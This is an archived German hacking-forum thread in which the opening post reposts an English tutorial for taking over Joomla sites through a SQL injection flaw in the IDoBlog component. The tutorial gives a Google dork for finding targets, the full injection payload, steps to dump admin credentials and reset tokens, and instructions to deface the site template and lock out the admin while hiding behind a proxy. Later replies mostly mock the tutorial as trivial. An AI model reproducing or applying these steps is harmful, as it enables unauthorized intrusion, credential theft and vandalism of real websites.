PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [TUT] HOW TO HACK JOOMLA! (Englisch)



toxid
13.09.2010, 20:50
Moin, hier mal ein Englisches Tutorial, wie man sich zugang zum Admin Login in Joomla verschaffen kann.

Der Author hatte mich gebeten, sein Tutorial zuveröffentlichen.
Eine Deutsche Version wird die Tage als Edit hier beigefügt.

Ich distanziere mich ausdrücklich von dem Inhalt.


---------------------------------------------------------------------
How to hack Joomla!
Level: NFN (Not For Noobs)

Tools required:
SQL-i Knowledge
reiluke SQLiHelper 2.7
Joomla! Query Knowledge



DISCLAIMER:

THIS TUTORIAL IS FOR EDUCATION PURPOSE ONLY!!! YOU MAY NOT READ THIS TUTORIAL IF YOU DON'T UNDERSTAND AND AGREE TO THIS DISCLAIMER. ME AS AUTHOR OF THIS TUTORIAL NOT BE HELD RESPONSIBLE FOR THE MISUSE OF THE INFORMATION CONTAINED WITHIN THIS TUTORIAL. IF YOU ABUSE THIS TUTORIAL FOR ILLEGAL PURPOSES I WILL NOT BE HELD RESPONSIBLE FOR ANY ACTION THAT MAY BE TAKEN AGAINST YOU AS A RESULT OF YOUR MISUSE.

NOTE:
USE ANONYMOUS PROXY!!!




Introduction


Joomla! as Stable-Full Package is probably unhackable and If someone tells that HACKED Joomla, talking rubbish!!!
But people still hacked sites that use Joomla as Content Management System?!?
Joomla is made of components and modules and there are some developers apart from official team that offer their solutions to improve Joomla. That components and modules mede by that other developers are weak spots!

I hacked site that use Joomla! v1.5.6 and after that v1.5.9 through IDoBlog v1.1, but I can't tell that I hacked Joomla!




Finding Exploit And Target


Those two steps could go in different order, depend what you find first target or exploit...

Google dork: inurl:"option=com_idoblog"
Comes up with results for about 140,000 pages

Bild: http://img838.imageshack.us/img838/300/001cv.png

At inj3ct0r.com search for: com_idoblog
Give us back Joomla Component idoblog 1.1b30 (com_idoblog) SQL Injection Vuln

Bild: http://img836.imageshack.us/img836/1907/002rg.png


==
Joomla Component idoblog 1.1b30 (com_idoblog) SQL Injection Vuln
==

index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,concat_ws(0x3a,username,p assword),3,4,5,6,7,8,9,10, ​11,12,13,14,15,16+from+jos_users--

Exploit can be separated in two parts:

Part I
index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62
This part opening blog Admin page and if Admin page don't exist, exploit won't worked (not completely confirmed)

Part II
+union+select+1,concat_ws(0x3a,username,password), 3,4,5,6,7,8,9,10,11,12,13,14,1​5,16+from+jos_use rs--
This part looking for username and password from jos_users table



Testing Vulnerability

Disable images for faster page loading:
[Firefox]
Tools >> Options >> Content (tab menu) >> and unclick 'Load images automatically'


Go to:

http://www.site.com/index.php?option=com_idoblog&view=idoblog&Itemid=22 Site load normally...

Go to:

http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62 Site content blog Profile Admin

Go to:

http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1-- Site is vulnerable



Inject Target

Open reiluke SQLiHelper 2.7
In Target copy
http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62 and click on Inject
Follow standard steps until you find Column Name, as a result we have

Bild:http://img834.imageshack.us/img834/7643/003bd.png

Notice that exploit from inj3ct0r wouldn't work here because it looking for jos_users table and as you can see
our target use jos153_users table for storing data

Let Dump username, email, password from Column Name jos153_users. Click on Dump Now

Bild: http://img217.imageshack.us/img217/3421/004k.png

username: admin
email: info@site.com
password: 169fad83bb2ac775bbaef4938d504f4e:mlqMfY0Vc9KLxPk05 6eewFWM13vEThJI

Joomla! 1.5.x uses md5 to hash the passwords. When the passwords are created, they are hashed with a
32 character salt that is appended to the end of the password string. The password is stored as
{TOTAL HASH}:{ORIGINAL SALT}. So to hack that password take time and time...

The easiest way to hack is to reset Admin password!



Admin Password Reset

Go to:

http://www.site.com/index.php?option=com_user&view=reset This is standard Joomla! query for password reset request

Bild: http://img29.imageshack.us/img29/7562/005hy.png

Forgot your Password? page will load.
In E-mail Address: enter admin email (in our case it is:info@site.com) and press Submit.
If you find right admin email, Confirm your account. page will load, asking for Token:


Finding Token

To find token go back to reiluke SQLiHelper 2.7 and dump username and activation from Column Name jos153_user

Bild: http://img691.imageshack.us/img691/1796/006fj.png

username: admin
activation: 5482dd177624761a290224270fa55f1d

5482dd177624761a290224270fa55f1d is 32 char verification token, enter it and pres Submit.

Bild: http://img576.imageshack.us/img576/1710/007pa.png

If you done everything ok, Rest your Password page will load. Enter your new password...

After that go to:

http://www.site.com/administrator/ Standard Joomla portal content management system

Enter username admin and your password, click on Login
Go to Extensions >> Template Manager >> Default Template Name >> Edit HTML
In Template HTML Editor insert your defaced code, click Apply, Save and you are done!!!

Bild: http://img291.imageshack.us/img291/8648/008bo.png

To make admin life more miserable, click on admin in main Joomla window and in User Details page change admin E-mail

Bild: http://img707.imageshack.us/img707/8946/009kw.png



---------------------------------------------------------------------
(C)Copyright by zikmik
---------------------------------------------------------------------
So ich hoffe dieses Tutorial, wird euch helfen.

Wer es übersetzen mag, kann es gern tun, andernfalls werde ich mein bestes geben.


lG Toxid

nikilas
13.09.2010, 21:03
Danke für das Tutorial.. Ich hab mich gleich an eine Übersetzung rangemacht (ohne es vorher durchzulesen und hab es mir aber dann doch durchgelesen) aber das wäre eine Übersetzung echt nicht wert gewesen.. Wer die paar Sätze Englisch nicht versteht sollte sich mal Gedanken machen.

toxid
13.09.2010, 21:08
das wäre eine Übersetzung echt nicht wert gewesen..
Wegen dem Inhalt an sich, oder den paar Brocken Englisch die jeder "eigentlich" kann?

lg

$_staX
13.09.2010, 21:08
Ich distanziere mich ausdrücklich von dem Inhalt.


Wie willst du das ohne Haftungsausschluss in der Signatur denn machen?

Krasses Tutorial! Exploit ausführen und ein Programm Names Sqli Helper oder so starten !!!! o_O

poddels
13.09.2010, 21:09
Level: NFN (Not For Noobs)
Wer das so einstuft sollte sich mal Gedanken machen.

CyphaX
13.09.2010, 21:11
Not for Noobs aber mit Tool MYSLQ mega hackz? ROFL yeah :)

toxid
13.09.2010, 21:20
Wisst ihr nen "besseren" Weg?
Wusstet ihr von der Methode?

Thr33
13.09.2010, 21:26
Wenn ich richtig verstanden habe ist die Komponente IDoBlog required... Somit kein Tutorial um Joomla zu hacken.

Sanonym
13.09.2010, 21:33
oh da hatte mal jemand wieder langeweile :d

Starflow
13.09.2010, 22:33
Wusstet ihr von der Methode?

Srsly....u failed hard

Noch nie was von exploits gehört? oO

Ausserdem frag ich mich ob du bei der Überschrift das Tut überhaupt vorher gelesen hasst....den der Autor stellt selber klar das er nicht Joomla exploitet (mancher mag sowas auch hacken nennen) sondern ein bestimmtes AddOn

toxid
13.09.2010, 22:42
Ah ok i faile d:) good to know <3
Copy & Paste?
Ich sollte es auf seinen wünschen, verbreiten.
& Da es "aktuell" ist, warum nicht.

"srsly...u failed hard"
beantworte halt die frage, ob du den weg wusstest :) wenn nicht dann plz ;)

J0hn.X3r
13.09.2010, 22:52
Wenn ich richtig verstanden habe ist die Komponente IDoBlog required... Somit kein Tutorial um Joomla zu hacken.

Genau so ist es.

Das ist einfach ein Tutorial fuer einer der vielen Addons von Joomla die Vuln sind, man koennte fast sogar behaupten jedes Addon.

Fuer Joomla selbst gibt es kaum Exploits, es liegt immer an den Addons, da diese normal nicht von den Entwicklern selber kommen, sondern von Hobby Programmierer.


beantworte halt die frage, ob du den weg wusstest :) wenn nicht dann plz ;)

Der Weg beschreibt es auf eine ziemlich "noobige" Weise, daher ist das Level falsch gewaehlt, da es alle anderen auch ohne 1337 tools schaffen.

Reiluke seine Tools sind echt nicht schlecht, aber wenn man nur diesen Weg kennt, sollte man sich Gedanken machen, ob man es wirklich verstanden hat, was man eigentlich macht.

gigu
14.09.2010, 06:45
In Template HTML Editor insert your defaced code
&

To make admin life more miserable, click on admin in main Joomla window and in User Details page change admin E-mail

wie arm ist das denn?

Wofür braucht man dafür ein Tutorial??

Ausserdem ist das Exploit schon über einen monat alt..